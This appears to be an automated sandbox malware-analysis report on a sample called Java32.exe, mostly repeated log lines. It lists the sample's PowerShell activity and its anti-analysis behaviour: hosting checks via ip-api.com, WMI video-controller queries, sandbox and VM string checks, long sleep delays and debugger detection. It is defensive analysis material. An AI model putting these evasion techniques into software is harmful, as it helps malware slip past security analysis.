Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Check if machine is in data center or colocation facility

Source: global traffic

HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\Java32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\Java32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\Java32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\Java32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\Java32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\Java32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\Java32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\Java32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\Java32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\Java32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\Java32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\Java32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\Java32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\Java32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\Java32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\Java32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\Java32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\Java32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: Java32.exe, 00000000.00000002.3280755045.0000000002ED1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLL
Source: Java32.exe, Java Update(32bit).exe.0.dr	Binary or memory string: SBIEDLL.DLL9MOHYXCJJER2HL3T10Z4GCDXOJVHY9DW482VDXD1VZB3BHXFBLEZXRC7MR9I03K09H1Y2RI1XGBEDDN0QDYQXOH9MABN4SLL88TXVMW5AUA3JO7N4IPD9ZDQJ1UUXHPKEQYRD2Z4LOONVQINV92JEXN0GWUAGBPCIZ4FAFTNAFO4009ZWGPEPOGVJJTKIOELRIL88BVWGM39RJTOSMYWEZDX0ZWUC0EJCKPJ5K4M9FPDIA7TPJXLTPX5I7AVLR20TDTEW9A9OYTYV0FYXVKPN4WFZRXSRO5JNO{G7NOMTBBNQ9G933HPQPCOFYN1KS3LVFJZFGRU3PPOCLLACAAWACGREPVHVCQS{K0W0IAM6K9F8LBA6VENNQHSJQSDEAAT2BLI58BNZ011YKRR1DXR0FK9JVU0WN{PJRXB593CPNJAQCKF6DI5GNMVQX2S03CH1RU8QLFEL9ZITDGVEGELXTFR8KEA{2ORVIJIA8VJEHGXGJW606L0ETG8DYSXVPSLKQVG8IWVKN7EMGJHPF4NPKIJ9DINFO

Source: C:\Users\user\Desktop\Java32.exe	Memory allocated: 13B0000 memory reserve \| memory write watch			Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Memory allocated: 1AED0000 memory reserve \| memory write watch			Jump to behavior

Source: C:\Users\user\Desktop\Java32.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\Java32.exe	Window / User API: threadDelayed 663	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Window / User API: threadDelayed 9181	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6501	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3230	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7469	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2183	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6522	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3060	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7494
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2086

Source: C:\Users\user\Desktop\Java32.exe TID: 3552	Thread sleep time: -36893488147419080s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1900	Thread sleep time: -6456360425798339s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4320	Thread sleep count: 7469 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1436	Thread sleep count: 2183 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6604	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6368	Thread sleep count: 6522 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2748	Thread sleep time: -7378697629483816s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6368	Thread sleep count: 3060 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7060	Thread sleep count: 7494 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3192	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 652	Thread sleep count: 2086 > 30

Source: C:\Users\user\Desktop\Java32.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem

Source: C:\Users\user\Desktop\Java32.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior

Source: C:\Users\user\Desktop\Java32.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: Java Update(32bit).exe.0.dr	Binary or memory string: vmware
Source: Java32.exe, 00000000.00000002.3307497139.000000001BE64000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\Java32.exe

Process information queried: ProcessInformation

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Anti Debugging

Source: C:\Users\user\Desktop\Java32.exe

